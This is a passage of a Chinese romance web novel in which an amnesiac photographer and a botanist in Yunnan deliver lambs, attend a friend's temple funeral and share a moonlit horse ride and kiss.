这一次场景变得清晰许多,李不凡听见窗外在下雨,原来他在机场,手机摆在一张小桌上,他拨号一次,却又立刻点了挂断。 第三次拨号时,他才开始等待。 电话响了不到三十秒,李不凡就又挂断了。 他好像提前准备好了说辞,可又像不太想说那样频频打断。 第四次拨号时,李不凡醒了。 他全身颤抖了一下,很快后背被一只手掌摁住。 那手掌慢慢地安抚着他,李不凡睁开眼,听见季一南问:“怎么了?” 李不凡出了口气,说:“做梦而已。” 然而这个梦让他一早上都有些恍惚。 他意识到自己对打出这通电话的排斥,可是却不知道原因。 早上雨已经完全停了,甚至出了太阳。 简单吃了早餐,大家坐在院子里,帮阿公阿婆晒昨天采摘的蘑菇。 “阿婆,”季一南拿着两朵浅褐色的蘑菇给老人看,“你们是不是认错了,这个不是鸡油菌,这种蘑菇有毒的。” 阿婆眼睛看不太清,凑到季一南面前来,仔仔细细看了看。 “对哦……我老眼昏花,看错啦。” 季一南干脆把他们采到的所有蘑菇都清点了一遍,除了他偶然发现的那两朵,其他都可以食用。 小院虽是水泥铺就,但日久天长,地面已经开裂了。 李不凡想起昨夜的小羊,便问阿婆:“你们有养羊吗?” “羊啊,当然有喽,我们这边牛羊都有,不过有一只母羊快要生了,最近我们一直看着她。”阿婆笑。 缝隙里长出许多嫩绿的草芽,院子边植物生长得茂密,李不凡穿着短靴长裤,好像也被树丛里的小虫子叮了。 他抓了抓小腿,季一南就站起身,回房间给他拿驱蚊喷雾。 “这边虫子很毒的,你先把裤腿弄起来我看看。”季一南用喷雾在他们坐的地方喷了一圈。 李不凡解了短靴的鞋带,把裤腿往上拨了一点,皮肤上果然多了几个被叮起的包。 他坐在一张矮板凳上,季一南就蹲下来,一边的膝盖低一点,但也没碰到地面。 清凉的喷雾敷上皮肤,李不凡闻到那股药剂的味道,问:“这是你带的吗?和我的味道不一样。” “我这个是老版的了,你们买的都是新版,旧的好用一点,”季一南很快喷好,盖上瓶盖,把那只不大的药剂塞给李不凡,“这瓶你带走,我不怎么容易被咬。” “昨天晚上小柳你可吵死我了,”宋朗白笑着说,“我半夜听见你打呼噜,以为铁马冰河入梦来。” “真有文化,”小柳不好意思地摸摸脑袋,“那我平常都是一个人睡,也不知道自己打呼噜。” 李不凡弯腰重新系好了鞋带,说:“放心吧,经费还是有的,酒店房间都一人一间。” 大家还在聊天,多吉忽然从房子后面蹿出来,大喊一声:“母羊要生了!” 众人闻言一顿,纷纷站起身,跟着多吉跑到后院的羊圈。 地面还撒着一层薄薄的雪,母羊缩在羊圈的角落里,浑身蹭着湿润的土,有些痛苦地嚎叫着。 “羊水已经破了。”多吉戴上手套,打开羊圈跑进去,在母羊面前蹲下。 “羊水破了多久了?”季一南问。 “我也是刚刚才发现的。”多吉说。 阿婆抱着小半盆温水跑来,放到母羊面前,母羊嗅了嗅,便喝了起来。那水不是透明的,散发出甜甜的味道,李不凡问季一南:“那是什么水?” “里面加了红糖,”季一南说,“可以帮助母羊恢复体力。” 宋朗白和小柳帮着阿公抱来一床轻薄的被子,围在母羊周围,好让它暖和一些。 空气中浮动着血腥味,谁也不敢掉以轻心。大家守着母羊,季一南时不时就摁开手机看一眼时间,李不凡站在他身后,瞥到大约过去二十分钟后,季一南说:“难产了,有前列烯醇吗?” “之前有个兽医来这里帮我们的羊接生过,好像还留下了几样药,我去拿。”阿公转身,两条瘦弱的腿摆得飞快,匆匆离开了羊圈。 “我们之前都是直接把兽医找来,今天太突然了……”多吉担心地趴下来,用手试了试母羊的子宫,“好像不止一只。” 母羊可能已经挣扎了许久,累得趴在地面上,连叫声也没有之前洪亮了。 很快,阿公拎着一只小小的红色塑料袋回来,好在里面有针有药,季一南抽了一管,又从药瓶里倒了几颗别的药,说:“摁一下。” 李不凡便和多吉一起把母羊摁住,季一南眼疾手快,把针扎进它的皮肤,又掰开它的嘴,喂下了药。 “再等一等。”季一南说。 天气还冷,但季一南额头出了一层汗。 过了一会儿,母羊果然又开始了剧烈的宫缩,多吉赶紧抓住时机助产。在母羊凄厉的叫声中,小羊露出了脑袋,多吉跪在土地上,宋朗白和小柳帮他抓住母羊,他用力地把小羊朝外拉,往后一倒,就将那只小羊提了出来。 小羊的全身都被羊水和血丝裹住,奄奄一息地躺在地上,似乎也没了呼吸。而母羊却依旧咩咩地叫着,那声音不像昨夜李不凡听到的羊群的叫声,是破碎的、绵长的。 “还有一只要生了。”多吉忙着助产,季一南就从阿公拎过来的塑料袋里又翻出一双手套,拎起小羊的后腿,把它抖了抖,又用布和纸巾清理它的口鼻。 这么忙了一会儿,小羊总算有了呼吸,软软地叫了一声。 李不凡松了口气,看躺在地上的小羊,问季一南:“你还有给羊接生的经验?” “研究所里以前养过,我有个小徒弟很喜欢羊,天天去他们那边待着。”季一南脱掉满是血的手套。 相机发出连续的咔嚓声,宋朗白早就举起了设备,拍下数张给小羊接生的照片。 李不凡转过身,朝镜头比了个耶。 阳光越过土屋笔直地洒下来,季一南和李不凡站在离镜头最近的地方,背后是闲适地趴在土地上的小羊,忙碌的多吉和矮矮的瓦屋顶。 远处树林中的几只羊窸窸窣窣地从反着金色光芒的草地里钻出来,脖子上的铃铛在微风中清脆地响着,多吉大喊一声:“生出来了!” 于是空气中的那股血味变成青草和泥土的气息,争先恐后钻入李不凡的鼻腔,有一刻李不凡想就这样躺下去,枕在满是花朵的柔软草地上,他闭上眼,再也不醒来。 但此刻不是梦境,只是雨后普通的一天。 一道手机铃声突兀地响起,季一南接了,应了几声好,挂断电话后和李不凡说:“小塔找到了,确认遇难。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 25、第二十五章 两天后李不凡带着行李回了最开始住的那家酒店。 他们下一个拍摄地是那拉措,一片高原中的湖泊。 高山上正是杜鹃花开放的季节,宋朗白擅长拍这样的小景,他们运气很好,还碰到了几次白腹锦鸡和松鼠。 小塔的葬礼在七天后,那时他们已经把那拉错能去的地方都去了一遍。 前一天晚上,季一南很晚才从野外赶回来。 “葬礼你去吗?”季一南站在李不凡房间门口,他拎着一只黑箱子,身上很脏,黑色的冲锋衣上到处是泥水的痕迹,脸上甚至划出一道红痕。 “你怎么受的伤?”李不凡问。 “今天爬树采集树皮,最后一截太滑,我掉下来了,”季一南说得很平静,“经常遇到这种事,我不是疤痕体质,很快就会好的。” 他看向李不凡,又问他:“高山杜鹃开花了,你看到了吗?” “看到了,”李不凡催他,“你回去洗个澡好好休息。” “去葬礼的话,明天早上六点我叫你。”季一南说。 “好。”李不凡点头。 早晨六点,森林中一片寂静。 天气还冷,李不凡今天没穿冲锋衣,换了一件黑色羽绒服。季一南在脸上贴了一片创口贴,遮住了昨天的伤疤。 他们简单吃了点东西,就上了车。 “开过去半小时,”季一南说,“我们去白玛央。” 白玛央是白玛山上的一座藏族寺庙,很多游客也会去参观,但李不凡暂时没去过。 季一南买好了白菊,就放在后座。菊花散发出清淡的香味,李不凡没睡太醒,在这阵味道里又眯了一会儿。 醒来时已经到白玛央脚下的小镇里,时间还早,但镇上许多店铺已经开门,穿着传统服饰的藏民从红墙金瓦的房屋下穿过,其中不乏一些白玛央的僧人。 季一南把车停在停车场里,拿好了白菊。 “剩下大概还有八百米,要走上去。”季一南说。 脚下的石砖一块一块拼起来,他们走得很慢。 这个点天只是朦朦胧胧地亮了,连太阳也还没见到。 到白玛央门口,他们遇到了阿夏。 他手里也拿着花,看见季一南把李不凡带来,还有些惊讶:“你们要留下来看……” “不了,只是来送花的。”季一南说。 李不凡不知道他们说的是什么,但没有多问,只跟着他们进了白玛央。 太多人参与过小塔的搜救行动,因此在他的葬礼上来祭典的人也很多。 大家拿着花,排队走过白玛央门口的转经筒。李不凡也把手放上去,感受着转经筒上的凸起。 沿着中线穿过白玛央,索朗雪山露出全貌。青黑色的山峰上点缀着白雪,连绵地耸立着。 李不凡跟上季一南,把白菊献在小塔的遗像前。 他收回手时,阳光金线般穿织着,照亮李不凡的脸侧。 于是李不凡转过头,看那片金色河流一样沿着山峰的沟壑倾泻,照亮索朗面向白玛央的这一侧。 献完花,季一南和阿夏点头示意,拉了下李不凡的手腕,带着他转身进了侧旁的小殿。 这是留给来祭典小塔的人写下悼念词的地方。 李不凡随手拿了一支毛笔,他想了想,在很薄的纸上慢慢地画着格桑花。 殿内很安静,几乎能听见毛笔触碰纸张的声音,李不凡画完一朵,抬头时,一阵风缓缓吹进来,挂在檐下的铃铛轻飘飘地响了。 那铃铛的声音像从很远的地方来,李不凡笔尖一顿,另起一行: 祝你像风一样,拂过你所爱的广阔高山和大地。 放下笔时,李不凡瞥见季一南的纸上是一串藏文。 等到走出殿内,他才问:“你懂藏语?” “只会一些简单的词,那句话是我以前在青海藏医药博物馆看到的结束语,当时觉得很喜欢,就记下来了,”季一南说,“意思是,愿我如同虚空和大地,永远支持一切无边众生的生命。”[1] 大地孕育众生,小塔研究它,也葬给它。 “小塔的妈妈是本地人,有信仰,他们想用藏族的传统方式安葬小塔,”季一南只说到这里,“我们不适合看,我也不想带你去。” 在钟声的长鸣里,他们离开白玛央。 沿路遇到许多来朝圣的人,这些藏民穿着传统服装,走一步便磕一个头,李不凡和季一南避开他们,沿着墙边走路。 除了风中经幡滚动的声响,四处都很安静,让此时此刻多了几分神圣。 李不凡默默地经过朝圣者,看他们膝盖上的尘土,看他们额头间的泥泞,像是路过了一个又一个人生。 他想到小塔的葬礼,想到不久之前,季一南还说小塔的家人在替他祈祷,现在他亲眼看到了那份想要亲人平安的渴望。 意识到季一南也很长时间没有说话了,李不凡落后他半步看他侧脸。季一南垂着眼皮,好像没有看路,只是出神。 “刚才你说你会一点藏语,”李不凡问他,“你会说什么?” 季一南想了想,转过脸注视着李不凡,说:“德吉。” 他吐字时视线很长,声音温柔,好像不仅仅是回答李不凡的问题,还像在轻声地祝福。 “意思是平安幸福。”季一南抬手,用拇指刮了下李不凡的后颈。 他的表情只是比平常淡了一些,李不凡却停下脚步。 “意外无法避免,我们都尽力了,”他想让季一南好受一点,“你不要自责。” 可他又觉得季一南没有在听,只是盯着自己。 “季一南,你专心一点好不好?”李不凡碰了碰他手臂。 “为什么画格桑花?”季一南忽然问。 李不凡没有先回答季一南的问题,而是对上他的目光,反问道:“那你呢?为什么要把格桑花纹在身上?” “对我来说它很特别。”季一南说完这句话,只和李不凡对视了一瞬,就移开视线。 如果李不凡还记得他,就还记得那两朵花。 一阵响亮悠长的鸟叫声划过头顶,季一南抬起视线,天空中,成片的秃鹫打着旋儿,盘旋在白玛央的上空——一片缥缈的雾气里。 松柏燃烧的烟雾漂浮着,街道上的经幡随风滚动,晨光给白玛央穿上一件金纱织成的衣服,它仿佛一座应该被供奉于殿堂的雕像,穿越了时光而来。 李不凡找出背包中的相机,调好参数拍了许多照片。 他盯着取景框,而季一南看着他。 季一南害怕他这样的认真,他见过太多人为自己的热爱付出代价,李不凡是,小塔是。 他有时候恨这样的热爱,但同时又明白,也许正是因为这份执着李不凡才活着—— 它们让李不凡活得有希望,活得不一样,又让李不凡死得简单,死得悄无声息。 “小塔拍到了绿绒蒿,拍到了半荷包紫堇,拍到了挂着松萝的树。”季一南说话时,李不凡放下了相机。 “他在山洞里被困,干脆借那个地方休息,后来趁着天气好,他带走了相机和手机,想出去再拍一点东西,结果失足滑进了金沙江。 “这些天下雨又下雪,江水流量太大,搜救队在几十公里外找到他的遗体。” 季一南看远方成群的秃鹫,问:“李不凡,你相信这个世界上有轮回吗?” 他想他大概会说不会,李不凡从来不信命,只信自己。 但等了片刻,李不凡思考过,和他说:“我什么都相信的。我没有什么信仰,所以我想,有遗憾的人才愿意相信轮回。” “你也有遗憾吗?”季一南问。 “我不记得了,”李不凡笑笑,“但我觉得我应该有吧,这世上没有人没有遗憾,那样的人活得太满足,我多半是个俗人。” 桑烟中,李不凡仰起脸,好像和身后的那座寺庙一样,从遥远的地方来到这里。 季一南看着他的侧脸,被一阵轻风迷了眼,很慢地说:“我也是个俗人,但我没有遗憾了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 26、第二十六章 从白玛央回来,李不凡睡了一个回笼觉。 之后几天,他跟着宋朗白和小柳四处拍摄,完全沉浸在工作里。 只是偶尔安静下来时,他会想季一南说的那些话,想小塔。 “明天晚上我们去拍点人文,”宋朗白把手机屏幕拿到季一南眼前一晃,“票我都买好了,我们去吃这个土司宴,据说有很多表演的,我买到了第一排。” “好啊。”李不凡视线一扫,看见他买了三张票,就说:“再加一张。” 李不凡:【之前谢谢你半夜带我去医院,说好请你吃饭】 事情一件接着一件,李不凡一直没找到合适的时机。 李不凡:【今天晚上可以吗】 季一南:【好,我早点回来。】 傍晚李不凡和宋朗白小柳坐在大堂里,李不凡说还要等人,宋朗白没戳穿他,只是看着他笑。 “你这趟云南来得值啊,走的时候还能带个男朋友。”宋朗白调侃道。 “说不好。”李不凡淡淡地说。 很快,门外传来一阵引擎声,李不凡偏过脸,看见季一南的车。 他拎着装标本的箱子和采集工具从越野里下来,走到大堂看见李不凡,才停住脚步。 “我上去放东西。” “去了可能要喝酒,晚上就不开车了,我找了司机来接。”李不凡说。 土司宴很热闹,一个小院子里绕着墙,游客坐满了三边长桌。 李不凡的脖子上还绕着进门时主人献的哈达,筷子已经夹着一片新鲜的肉,放进面前那口属于自己的小锅涮了起来。 面前的宽敞空地上点着篝火,火星随着风绕着旋儿,像一只只翅膀闪烁的飞蛾。 宋朗白动筷子的时间不多,他爱拍人,表演的人一个个上来,他就一下一下按快门。 李不凡对歌舞兴致缺缺,几乎一直低着头吃东西。 不知不觉间他喝了两三杯酒,头有些昏。 “你还好吗?”季一南问。 小院子里很吵,季一南靠过来,嘴唇离李不凡的耳廓很近。 李不凡抬起眼,先看见季一南手边空掉的酒杯,再对上他有些红的眼睛。 “好像你每次喝酒眼睛都会红,你酒量不太好吗?”李不凡笑了声,用指腹碰了碰季一南一侧的眼尾。 “嗯,”季一南承认,“不是很好,我喝得很少。” 台上的舞蹈不知跳到了哪里,总之观众们忽然一阵沸腾,不少人站了起来,和演员们一起绕着篝火跳舞。 李不凡没动,只是坐得松散了一点。 他谁也没看,眼中的景色很虚,他只是在放空。 夜晚风凉,篝火边却温暖,李不凡的脸被火光照着,有些发烫。 火堆前的人们挥舞着哈达,音乐声中,一个穿着民族服饰的姑娘朝李不凡走来,递给他一杯酒。 小柳笑着起哄:“人家是在向你表达喜欢。” 那姑娘点点头,许多人都看了过来,李不凡不好不接,只说:“谢谢了,但我可能要借花献佛,送给我喜欢的人喝。” 他话没说完,但已经是婉拒,李不凡大方地把酒杯递给季一南。 他的眼睛被篝火点亮,笑得像天边那弯月亮:“喝吗?我的酒。” 姑娘看出两人关系,神色比之前还高兴了一些,她笑着走开,只留下那杯还握在李不凡手里的酒。 季一南看着他,有一会儿没说话,等到小柳移开视线,他才抓住李不凡拿酒杯的手腕,拉到自己面前,就着他的手喝了那杯酒。 酒液沿着季一南唇角淌下来,他垂眼用手背擦了擦,搭住李不凡的肩膀,又坐了会儿,季一南看出他兴致缺缺,就用拇指捻了下他耳后的伤疤,问:“要不要出去走走?” 李不凡不知道季一南的“走走”是去哪里,跟着他出了小院,歌声就渐渐远去了。 好像季一南心里有一个目的地,他们沿着不算亮的路灯走了一会儿,李不凡听见几匹马的声音。 不远处有个马厩,一个穿着厚羽绒服的人戴着绒线帽坐在门口的小亭子里,拿烟的手被冻得发抖。 “今天生意很差吗?”季一南笑着走上去。 “这个季节没多少游客,人很少的,”那中年人站起身,“怎么样?骑一圈吗?” “我们两个人,”季一南说,“付一晚上钱,结束以后我给你牵回来拍个照。” “行啊,你们挑。”中年人把烟扔在泥地里,跺了两下脚,很放心地转身走了。 李不凡走上前,在几匹马里扫了一圈,靠近了一匹看起来比较温顺的,用手摸了摸它。 “它是最乖的。”季一南不知何时靠过来,掌心贴在李不凡的手背旁。 他比李不凡高一点,说话时垂着头。呼出的雾气扑在李不凡耳边,夹杂着淡淡的酒精味道,弄得他耳廓发烫。 “你认识这里的所有马?”李不凡问。 “差不多,有些路车不能走,只能骑马上去,”季一南靠他很近,嘴唇快要贴上他耳朵,“一起还是……?” 李不凡扬了扬下巴,“我就要这匹。” 没有成功把人骗到,季一南还是心情很好。 他也给自己选了一匹,但没有着急上去,先看李不凡上了马。 李不凡知道自己会骑马,他的房间里什么证书都有,这些都是肌肉记忆,没那么容易忘掉。 他在等季一南也选好马,但季一南只是从旁边挑了一根马鞭和一盏油灯。他把灯递给李不凡,让他拿好,李不凡下意识照做。 下一秒,季一南的手隔着他的手握住缰绳,很流畅地翻身坐在他后面。 马鞭轻轻扬起,这匹马冲出了马厩。 季一南身上很烫,可能是因为喝了酒。脚下的路并不颠簸,马匹有节奏地起伏着,李不凡的脊背抵着季一南的胸膛,偶尔能感受到季一南衣料下的肌肉。 寒风穿透衣服,但李不凡没有觉得冷。 季一南掌着缰绳,他就分心去看天上晃荡的月亮,鼻间满是空气中漂浮的青草味道,有些醉意的身体随着马踏声颠簸,像沉在海里。 走时李不凡还清醒着,这会儿又恍惚了。 他们没有离开多远,马在一片草地上停下来,眼前是一片深绿的湖泊。 “这片湖和河流相连,雪山的水融化以后,就流进这里,”马缓慢地踱步,季一南贴着李不凡的后背,慢慢和他说话,“这里经常下雨,今晚难得天气好。” “你不怕说完这句话这里就开始下雨了吗?”李不凡笑了声。 “不会,”季一南抬头,“有月亮呢。” 李不凡也随着他的视线望去,一轮明月挂在天边,周围没有乌云的遮挡。 等马站稳,季一南先翻身下马,站在马匹的一侧。 到李不凡要下马的时候,他打开手臂,在李不凡身后呈保护的姿势。 但李不凡没有注意,自己抓着缰绳,很快下来了。 好在月光足够明亮,即使他们手中只有一盏亮着昏黄光线的灯,也能看清前路。 “感觉你今天晚上没有吃多少东西,”季一南问,“在想什么?” 他们朝湖边走,李不凡没想到季一南能看出来,就说:“在想小塔。” 他停下脚步,举起了手里的灯,想看清季一南的脸。 “在想这个世界上为什么要有意外。” 这恰好是一个季一南早有答案的问题,曾经无数个夜晚,他为了这个答案翻来覆去地睡不着,后来才明白它的残忍。 “为了让人和人分离。” 季一南抬起眼,昏暗的黄色光线里,他像一本旧书,装满过去和现在。 李不凡安静了一会儿,微风中他们就这样对视。 很久之后,他才轻声说:“季一南,不知道为什么,我有点难受。” 季一南几乎能记得每一次李不凡和他说这句话时的样子,也能记得他听到时的心情。 毕竟李不凡是一个很少说“难受”的人,和季一南说难受,就等同于和季一南说“我需要你”。 “我们再去兜一圈好吗?”季一南问。 “这段路你熟悉吗?”李不凡有点担心。 “熟悉,而且马比我们更熟悉。”季一南说。 他们只在湖边站了片刻,就重新上了马。 树林之间有一条泥泞的小路,马蹄踏过土地,带着他们在月光下穿梭。 李不凡朝风中喊:“季一南你抓紧绳子——” 感觉自己被紧紧抱住,他打开双手,闭上眼,于是眼前的树木和草地,都成为幻想中的世界。 有那么一瞬间,李不凡觉得自己也是一缕风,他什么也不做,就那样拥有了翅膀,很有劲头地飘着、飞着,是全世界最快乐、最轻松的存在。 而当他想要落地时—— 当他想要落地时,他就睁开眼,重新握住手里的那段缰绳,再落入身后的温暖怀抱。 颠簸的失重让李不凡罕见地回到兴奋的状态里,他偏过脸,单手捏住季一南的下巴,热切地吻上去。 周围是山也好海也好,都与他无关,他只在乎这一刻对季一南的喜欢。 季一南的回应来得很快也很烈,他的手从没离开过缰绳,就那样把李不凡环抱在怀里。 马穿出树林,跑到湖水的另外一侧。季一南分神拉紧缰绳,马的前蹄微微抬起,等平稳后,李不凡跳下马,朝湖边奔跑。 季一南跟在他身后,李不凡的头发被风吹得很乱,他的影子像天上一片乌云。 这一刻,季一南窥见命运的一角——就算拥有再次重来的机会,李不凡也还是李不凡。 是那个会去冒险抓住风的人。 湖水安静地躺在草地中央,李不凡的脚尖快要碰到水边,季一南吓得清醒多了,一把抓住他的手臂,把他拉回来。 “要干什么?”他没控制住语气。 但李不凡却笑了,他问季一南:“你为什么喜欢我?你怎么会……喜欢我呢?” 季一南错愕地恢复了神色。 “那天在大厅里,外面在下雨,你穿着雨衣,一身黑,特别神秘,”李不凡弯着唇角,这一刻好像真的是幸福的,“你很帅,但你又很奇怪,你做什么事好像和普通的人逻辑不一样,比如你对我很好,虽然最开始对我的那些好都让我很防备。 李不凡停顿了片刻,后面的话似乎难以这样直白地表达,讲出口时,又夹杂着难以捕捉的情绪:“你让我产生一种感觉,好像和一个人在一起,首先想到的不是在一起的快乐,而是分开的痛苦。好像确定了要和一个人在一起,应该首先考虑的不是合不合适喜不喜欢,而是能不能接受相互失去。” “坦白地讲,我不知道我以前有没有遇到过你这样的人,但我还是想告诉你,季一南你很特别。” 他忽然抓住了季一南的衣领,又吻上去,几乎算得上意乱情迷。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 27-30 第27章 这种冲动让季一南觉得陌生,他用粗糙的手指握住李不凡的后颈,咬着李不凡的舌尖和嘴唇,想你让我等了好久,好久。 那是一段好长的路,季一南每每想起,就痛苦不已。 “季一南,”李不凡的喘息很急,他被吻得痛,抵着季一南的额头,嘴唇和他分开很少的距离,“你……” 季一南没等他说完话,又追着亲过来。 手掌从脖颈换到脑后,季一南用了很大的力气,把李不凡压向自己。 他很少有这样强势的时候,辗转咬着李不凡的嘴唇,把亲吻做得像占有。 等舌头麻了,嘴唇麻了,连手掌和心也麻了,季一南才停下来,很用力地箍紧了李不凡。 “别难受……”季一南用下巴贴着他的额角,“不要难受。” 身体是不是比大脑更容易记住什么。 哪怕李不凡把什么都忘了,那些和他的过去里,好的坏的,哭过的笑过的,爱的不爱的,这些通通都忘记了……当他们重新做一些事的时候,李不凡会不会有一瞬想起他,就算是觉得对他有一丝一毫的熟悉。 人还真是自私,明明知道想起过去对李不凡来说不算什么好事,他也已经下定决心不再提起。可总有一些他真正面对自己的时刻,他会意识到他太渴望李不凡的爱,又已经和李不凡在一起太久,以至于那些爱早就变成了更深的东西,像花的根,树的干,构成他活在这个世界的原因。 他明明不敢想象,如果这辈子的李不凡没有爱上他,他像一颗浮萍飘荡着,要怎么度过剩下的时间。 幸好怀抱里的李不凡是真实的,至少这一刻——哪怕非常短暂,也是真实的。 对季一南来说,存在比什么都重要。 “李不凡,”季一南很深地呼吸了一次,感到双眼胀痛,“如果换一个人在你面前,你还会和他做这些事吗?” 他的意思李不凡很快就懂了,这个问题李不凡没有想过,反应过来以后先是很轻地笑了笑。 “不会,我很确定不会,我不随便。季一南……”李不凡喊他名字,声音像一缕风,“我知道你是季一南……” 他们就这样安静地抱了一会儿,两个人的呼吸都渐渐慢了下来,李不凡才说话:“我想躺下来。” 于是季一南举着灯,给他找了一片干燥的草地。 即使不聊什么,这样也很舒服。 身边低矮的草丛在风中摇晃,李不凡用手轻轻碰了碰。 “是密蒙花,花瓣会染色,”季一南坐在他身边,把灯盏放在地面,伸手摘下一朵,“其实这也是一味中药材,清热泻火,养肝明目,这里的人经常出来采。” “你能把手给我吗?”他问。 李不凡不知道他想做什么,还没说好或者不好,季一南就把他靠得更近的那只手拎起来,放在自己的大腿上。 动作太流畅,以至于李不凡笑了一声。 “为什么笑?”季一南问。 他把那朵花的花瓣一片一片摘下来,又翻过李不凡的手,让掌心那一侧朝上。 “觉得你很奇怪。”李不凡看着季一南的侧脸。 四周暗也安静,季一南的五官只有很少一部分被照亮,像他这个人一样,让李不凡弄不明白。 他们之间的关系很奇怪,谁也不太了解谁,好像走到了一起,又好像没有。 但他想,他自己也不太了解自己,凭什么要求季一南?再说,心动应该更容易发生在这样对对方都很朦胧的时候,要是真有一天什么都知道了,是不是就不那么喜欢了。 手腕的内侧有些痒,李不凡偏过脸,才看见季一南用花瓣在他皮肤上贴出一朵完整的花。 他贴的花和他这个人给李不凡的感觉一样,规规整整的。 “为什么贴这个?”李不凡抬起手腕,没看出多少特别的含义。 “因为漂亮。”季一南握住李不凡的小臂,和刚才骑马时的若即若离不同,这一刻的季一南充满了确定性。 你喜欢漂亮的东西,季一南想,但没有说。 “在我眼里你就像一朵花。” 季一南说得认真,好像和那些恋爱中的人不一样,不是单纯为了讨好,包含几分真情。 “开心的时候,你就开花,难过的时候,会掉花瓣。” 一片一片的,落得像雨,要我去捡。 季一南好像在透过他看另一个人,李不凡忽然想。 他为什么总说自己不理解的话,可奇怪的是偶尔李不凡也会对他的那些情感共鸣。 回去的一路上,李不凡都有些心不在焉,但已经不是因为情绪不好。 他偶尔会看看手背上季一南贴的那朵花。 失去记忆以后,李不凡就像平坦草原上一棵突兀的树,或者湍急河流中的一根独木。他在风里站着、在河上漂着,四面空无一物,没有和他相似的存在。 遇到季一南,他的世界里才好像多了一棵树、一根木。尽管那可能是一棵没有扎根的树,随时可能漂走的木。 洗澡时李不凡也没有特意去碰那朵花,等到睡觉前,他才一片一片摘掉了花瓣。 他的手腕上留下一圈浅色的印记—— 今天季一南送了我一朵花。 睡前照例查看一下之后的行程,下一个地点是那达。 这是一段需要徒步的路线,由于他们要带的设备很多,所以租了几匹骡子,也请了向导。 李不凡思考着需要带的东西,很快沉入了睡眠。 几天后的早晨,他们早早集合,开车前往那达徒步路线的入口。 向导叫刘洋,李不凡没有见过他,只知道他是一个面容黝黑,身材瘦弱的人。 他们在约定的地点等了半个多小时,刘洋还是没有来,小柳给他打电话,断断续续听明白是央娜雪山到那达的这段路出事了。 刘洋要从家里赶过来,必须经过这条路,因为昨夜下了暴雪,地面结冰,道路状况很差,所有凌晨赶去看日照金山的人都在掉头回来的路上。 “这段路不知道什么时候能恢复,实在是抱歉,向导的钱我全额退给你们,我现在就去重新帮你们联系一个。” “不用了,”小柳开着扬声器,李不凡说,“我们自己找吧,你也注意安全。” 他想到了阿夏,当时他们离开营地,他和阿夏也交换过联系方式。 电话拨通以后,阿夏很快就接了,李不凡说明来意,阿夏就说他立刻安排。 不过临时进山已经来不及,徒步路线长达十公里,光是走完就要整整一天,更别说他们还需要在路上拍照。 离开的时间太晚容易发生危险,于是去那达这件事只能重新规划。 “我们先去附近这个村子住一晚,等向导来了明天再走。”李不凡拉开车门上了驾驶座。 起得太早,他们没怎么吃东西,停车以后干脆去找了家早餐店。 李不凡没什么胃口,只吃了很少两口,就放下筷子。 他想抽根烟,去了门外,看着有些空旷的小镇上慢慢填满汽车。 还没点燃手里的香烟,他的手机响了,李不凡咬住烟嘴,看到打来的人是阿夏。 “央娜雪山临时封了,你们那里还能走吗?”阿夏问。 “路太堵,走不动,我们临时停在旁边一个镇子上了。”李不凡说。 “一哥就这么猜的。”阿夏笑了。 李不凡本来想问季一南怎么也知道,但并没有发出声音。 因为他很快就可以听到季一南本人的回答。 眼前的街道仿佛还留在凌晨的雨中,是暗灰色的,季一南背一只笨重的黑色双肩包,手里拎着相机包,朝李不凡走来。 “我看见他了。”李不凡把烟头在旁边的垃圾桶上摁灭了,扔进去,也挂了电话。 “怎么来了?”李不凡问。 “本来就在附近,你给阿夏打电话以后他就告诉我了,你们向导出什么事了?”季一南走到李不凡身边。 屋檐有些窄,季一南身上不知道从哪里弄的水珠蹭湿李不凡的冲锋衣。 “他家在央娜雪山的方向,要走一段国道,现在路况不好又堵车,今天来不了了。” “我跟你们住一晚,小七明天来,我们也去那达。你们不是缺向导吗?我也可以。” “你很贵吧?”李不凡很轻地笑了下,“我们没有那么多预算,你很贵的话,我请不起。” “我不贵,我不要钱。” “那你要什么?” 季一南没讲话,只是站到李不凡身边,和他挤进同一片屋檐下。 次日,天还没亮他们就启程。 到第一个补给点,他们和季一南的助理小七汇合。 山中信号差,小七带了对讲机分给大家。 暂时用不到的设备都打包用骡子驼,李不凡把相机挂在脖子上,天已经完全亮起来,但光线条件还不是非常好,他站在木栏杆的边缘,举起相机试了几张。 放下相机时身边多了个人,季一南手里拿着一只滚着水珠的番茄,问他要不要吃。 每个补给点都有挑着担子卖东西的老人,他们把番茄、黄瓜都泡进水里,路过的人要是口渴就能买。 “谢谢,你不要吗?”李不凡接过番茄咬了一口。 那番茄汁水很足,浅红色的水流了他一手,季一南用餐巾纸帮他擦掉了。 “我不喜欢生吃番茄。”季一南说。 “第一次从你这里听到你不喜欢什么,”李不凡嚼着番茄,看着他,“挺难得的,我记住了。” “我记住了”,刚把这句话说出口,李不凡居然觉得自己有些浪漫。 毕竟他说的是“记住”,因为那些称得上有些奇怪的经历,这对李不凡本人而言,更像是一种承诺。 “我记住了”,以后都不会再忘记。 可能季一南没有从这句简单的话里读出那么多的含义,又好像李不凡忘记也可以。 他只是笑了笑,说番茄买得太大,让李不凡吃得满手都是。 于是李不凡也跟着笑了,季一南就拿起手机,对着他拍了一张照片。 “你是不是拍得太草率了?”李不凡凑上来想看,“我感觉我刚才都闭眼了……” “还好。”季一南拿给他看。 照片里最突出的是那只红色番茄,李不凡侧过脸时,却发现季一南在盯着照片上他的脸。 他的视线没有动,眼神柔和地看着,却让李不凡有些难受。 哪怕两个人互相喜欢,也一定有一个人喜欢得更多,一个人喜欢得少些。 萍水相逢,季一南喜欢他喜欢得太快、太多,又偏偏不在意李不凡的喜欢是多是少,让李不凡这个被喜欢的人都觉得受之有愧。 有时候李不凡心会想,如果他们很早就认识,不是在云南的大山里,是在某个城市,也许他们会在一起得更快、更确定些。 但这个世界没有如果,李不凡的目光从手机屏幕上收回,不自然地咽了咽喉结。 “我觉得我拍得很好。”季一南说。 李不凡点头,“行,我同意,毕竟你把我拍得挺帅的。” 小七和小柳都坐在山路边休息,宋朗白在啃黄瓜,李不凡转过身靠着栏杆,朝季一南要了一根烟。 “你一天抽多少?”季一南递给他。 “不多,我好像不太喜欢抽烟。”李不凡说。 “一天半根就好了。”季一南垂眼,帮他点了烟。 等李不凡手里那根烟燃了一半,他真的转头在垃圾桶上摁灭了。 大家都休息得差不多,准备继续往前走。 天慢慢亮了起来,李不凡走走停停拍了不少。 他的体力在这几个人里都算很好的,身上背着包,还带了相机,也能一直和季一南一起走在前面。 